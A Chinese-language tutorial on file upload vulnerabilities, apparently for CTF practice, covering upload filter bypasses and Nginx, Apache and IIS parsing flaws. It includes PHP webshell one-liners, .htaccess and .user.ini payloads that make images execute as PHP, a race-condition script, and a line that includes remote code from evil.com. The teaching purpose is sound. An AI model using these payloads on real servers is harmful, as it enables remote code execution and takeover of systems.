文件上传漏洞
文件上传漏洞
大部分是需要回显储存路径才能打后续操作的,如果没有回显路径要不再想想。?(雾)
前端检测
前端检测上传文件的后缀,js检测直接禁用js
后端检测
检测content-type
检测你发包的Content-Type参数来判断文件上传类型
一般你改一下content-type就可以绕过了
检测文件头判断文件类型
字义,使用getimagesize()函数来获取文件的MIME类型,此时检测的不是数据包中的content-type,而是文件头
这种时候伪造一下就可以
gif(GIF89a) : 47 49 46 38 39 61
jpg、jpeg : FF D8 FF
png : 89 50 4E 47 0D 0A
用winhex、010editor等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测,或者你直接在包的头写个GIF89a也是可以过的
后端检测文件拓展名
用拓展名的黑名单来检测文件拓展名从而防止危险文件的上传
绕过:
1)使用一些特殊扩展名来绕过,php
可以用php3、php4、php5代替
2)大小写混淆绕过
3)在文件名后加.
(空格,点,空格),利用windows特性绕过
4)在文件名后加::$data
绕过(NTFS流读入)
5)有替换的话可以双写绕过
当然也可以是白名单只让特定的文件上传
绕过:
存储路径可以使用%00在最后进行截断,(注意:GET型可以对%00自动解码,但POST型不能,需要在二进制中修改//打开你的010喵,用空格占个位来输00)
后端检测文件内容
文件内容替换
检测原理:
在后端处理上传的文件时,会将将文件中的敏感字符替换掉。
参考代码
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$content = str_replace('?', '!', $content);
$file = $path . '/' . $_FILES['myfile']['name'];
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
file_put_contents($file, $content);
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
绕过方法:
根据实际过滤的字符来判断,(一般不会限制所有敏感字符,因为还要兼顾图片上传)
图片二次渲染
检测原理:
后端调用了php
的GD库,提取了文件中的图片数据,然后再重新渲染,这样图片中插入的恶意代码就会被过滤掉了
绕过方法:
比较过滤前后文件内容,一般不会全部过滤。
比较使用php-gd
转换之前和之后的gif图像,并搜索它们之间的任何相似性,因此,如果我在原始文件中找到相似的部分,则在使用php-gd
转换后也保留了该部分然后我可以在那部分注入我的PHP代码并获得RCE
条件竞争
该漏洞形成逻辑:
网站允许上传文件,然后检查上传文件是否包含webshell
、是否是指定的文件类型。如果不是,那么删除该文件。在删除之前访问上传的php
文件,从而执行上传文件中的php
代码。
绕过方法:
先进行文件上传,后进行判断与删除。利用时间差进行webshell
上传。
竞争条件代码举例:
fputs(fopen('shell.php','w'),'<?php @eval($\_POST\["cmd"\])?>');
判断是否删除
import requests
while true:
requests.get(”路径“)
WAF
当文件完全被ban,只用以图片类型上传的时候,我们该怎么办呢
上传.htaccess文件绕过
.htaccess
文件是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess
主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess
的用途范围主要针对当前目录
类似内容
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
这些都会把上传的文件强制解析为php
上传.user.ini文件绕过
.user.ini
。它比.htaccess
用的更广,不管是nginx/apache/IIS
,只要是以fastcgi运行的php
都可以用这个方法。
那么什么是.user.ini
?这得从php.ini
说起了。php.ini
是php
默认的配置文件,其中包括了很多php
的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:
除了主 php.ini
之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR
和 PHP_INI_USER
模式的 INI 设置可被识别。
所以除了PHP_INI_SYSTEM
以外的模式(包括PHP_INI_ALL
)都是可以通过.user.ini
来设置的。我们可以很容易地借助.user.ini
文件,更改auto_prepend_file
配置项,来构造一个“后门”。
比如,某网站限制不允许上传.php
文件,你便可以上传一个.user.ini
,再上传一个图片马,包含起来进行getshell
。不过前提是含有.user.ini
的文件夹下需要有正常的php
文件,否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。
实例([SUCTF 2019]CheckIn1):
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htaccess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
绕过技巧:
1.针对过滤包含ph
与htaccess
扩展名的文件:上传.user.ini
与图片马,利用.user.ini
进行文件包含2.针对过滤文件内容包含<?
的文件:使用php
的脚本标记风格<script language='php'>
3.针对使用exif_imagetype
规定了必须为图片类型的文件:添加文件头内容或合成图片马(稍后会讲)
首先上传.user.ini
文件,文件内容为:
GIF89a
auto_prepend_file=shell.png
然后构造一个shell.png
,内容如下:
GIF89a
<script language='php'> @eval($_POST['hack']); </script>
然后将两个文件分别上传到服务器上,拿到回显
奇奇怪怪的绕过
利用一下文件包含上传一个压缩包来getshell
这里不细讲
Ngnix解析漏洞
文件解析漏洞
对于任意文件名,在后面添加/abc.php
(abc为任意字符)后,即可将文件作为php解析
漏洞机理
Nginx配置导致,而非nginx版本问题,而取决于php的配置文件 php.ini 文件中是否开启了 cgi.fix_pathinfo
当访问xxx.jpg/abc.php
时,nginx查看URL后发现以php结尾,并将路径传递给phpfastcgi
处理程序,php看到xxx.jpg/abc.php
不存在,便删除去最后的/abc.php
,看到xxx.jpg
存在,而后以php
的形式执行xxx.jpg
的内容
大概的来说,就是cgi.fix_pathinfo
会对形如/1.aaa/2.bbb/3.cccc
的文件路径进行处理,若该路径不存在,则会去掉最后的子路径再次判断直到找到一个存在的路径。
若关闭该选项,访问/xxx.jpg/abc.php
会返回找不到文件,但关闭该选项可能会导致一些其他错误,所以默认开启。
在高版本中,引入了security.limit_extensions
来纠正这个错误,限制了可执行文件的后缀,默认只允许执行.php
文件。防止这一问题(回显Access denied)
空字节RCE
Nginx在遇到%00空字节时与后段FastCGI
处理不一致,导致可以在图中嵌入PHP代码然后通过访问1.jpg%00.php
来执行其中的代码。
影响版本
nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37
该漏洞不受cgi.fix_pathinfo影响,当为0时,依旧可以解析
CVE-2013-4547(%20%00)
影响版本
nginx 0.8.41 ~ 1.5.6
原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。是什么意思呢?举个例子,假设服务器上存在文件:“file.jpg ”,注意文件名的最后一个字符是空格。则可以通过访问:http://127.0.0.1/file.jpg \0.php
让Nginx认为文件“file.jpg ”的后缀为.php
来测试下,这次测试在Nginx/1.0.15中进行。首先准备一张图片,命名为“test.html ”,注意,文件名含有空格。然后在浏览器中访问该文件,会得到一个404,因为浏览器自动将空格编码为%20,服务器中不存在文件“test.html%20”。
测试目标是要让Nginx认为该文件是图片文件并正确地在浏览器中显示出来。我们想要的是未经编码的空格和截止符(\0),怎么办呢?使用Burp Suite抓取浏览器发出的请求包,修改为我们想要的样子,原本的URL是:http://192.168.56.101/test.htmlAAAjpg
,将第一个“A”改成“20”(空格符号的ASCII码),将第二个“A”改成“00”(截止符),将第三个“A”改成“2e”(“.”的ASCII码),如图
修改完毕后Forward该请求,在浏览器中看到:
我们已经成功地利用了漏洞!但这有什么用呢?我们想要的是代码被执行。
继续测试,准备文件“test.jpg ”,注意文件名的最后一个字符是空格,上传到服务器。文件内容为:
phpinfo();
用Burp Suite抓包并修改,原本的URL是:http://192.168.56.101/test.jpg…php
,将jpg后的第一个“.”改为20,第二个“.”改为00,如下图所示
修改完毕后 Forword 该请求,在浏览器中看到:Access denied ,好吧,又是这个。
这说明Nginx在接收到这一请求后,确实把文件“test.jpg ”当做php文件交给php去执行了,只是php看到该文件后缀为“.jpg ”而拒绝执行。这样,便验证了Nginx确实存在该漏洞。但是由于security.limit_extensions
的存在,导致我们并不能利用此漏洞
Apache解析漏洞
文件名解析漏洞
Apache
从右向左判断解析文件,若无法解析再继续向左判断,如1.php.owf.rar
这个文件名,Apache
无法解析.owf
和.rar
两个后缀,于是继续向前解析将其解析为1.php
实际上许多后缀都可以被解析为php文件进行处理,这里贴一下其他师傅的文章
原链接:https://www.cnblogs.com/yokan/p/12444476.html
.htaccess文件
是Apache下的一个配置文件,负责相关目录下的网页配置。通过 .htaccess
文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf
文件中配置。
生效前提:
AllowOverride被启用/AllowOverride Options FileInfo
mod_rewrite 模块开启
cgi_module被加载。即apache配置文件中有LoadModule cgi_module modules/mod_cgi.so这么一句且没有被注释
这里放几个常用的配置
AddType application/x-httpd-php .jpg
这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析
CGI启动方式利用
Options ExecCGI (表示允许CGI执行,若AllowOverride只有FileInfo权限且本身就开启了ExecCGI的话,就可以不需要这句话了。)
AddHandler cgi-script .xx(将.xx后缀的文件当成CGI程序解析)
#AddHandler application/x-httpd-php .php (给php后缀增加了处理器,这样即使有多个后缀,只要含有php后缀就会被识别为php文件)
下面是网上一个师傅的利用
FastCGI利用
依赖mod_fcgid.so
,默认安装包里是没有这个so文件的,但是在PHPstudy的默认配置中是已经加载了的,并且AllowOverrride
也是All权限
Options +ExecCGI
AddHandler fcgid-script .gif
FcgidWrapper "/bin/bash" .gif
文件包含利用
php_value auto_prepend_file +文件绝对路径
(默认是当前上传的目录)
预先包含我们指定的文件
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://evil.com/evil-code.txt
如果若我们预先包含.htaccess文件呢?效果是我们插入的恶意代码就会被任意包含
大概像这样构造
php_value auto_prepend_file ".htaccess"%0a#<?php phpinfo();?>
同时这个漏洞也可以造成xss漏洞和其他的一些文件包含漏洞
正经写入
#
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
#
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
较为精准,不容易误伤
这边看到还有个写法:
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch> (意思是把文件名中含shell的都当作php解析,包括还有一个正则的写法)
#
<IfModule mime_module>
AddType application/x-httpd-php .gif (将.gif文件按照php代码进行解析执行)
AddHandler php5-script .jpg (将.jpg文件按照php代码进行解析执行)
Sethandler application/x-httpd-php (将该目录及子目录下的文件均按照php文件解析执行)
</IfModule>
容易误伤
CVE-2017-15715
在文件后缀后加上%0a
,绕过getshell
目录遍历
配置 Options +Indexes
时Apache存在目录遍历漏洞。
lighttpd
xx.jpg/xx.php
IIS
解析目录解析漏洞(/test.asp/1.jpg)
在 IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、*.asa、*.cer、*.cdx
的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了
文件名解析漏洞(test.asp;.jpg)
在 IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer
。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 *.asp;.jpg、*.asa;.jpg、*.cer;.jpg
后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。
畸形解析漏洞(test.jpg/*.php)
微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5
在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码
将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php
。
临时解决办法:设置 cgi.fix_pathinfo
为0`
其他解析漏洞
在windows环境下,**xx.jpg[**空格] 或 xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。
同时推荐一篇比较有意思的文章,lz自己没怎么看懂,但是感觉蛮有意思的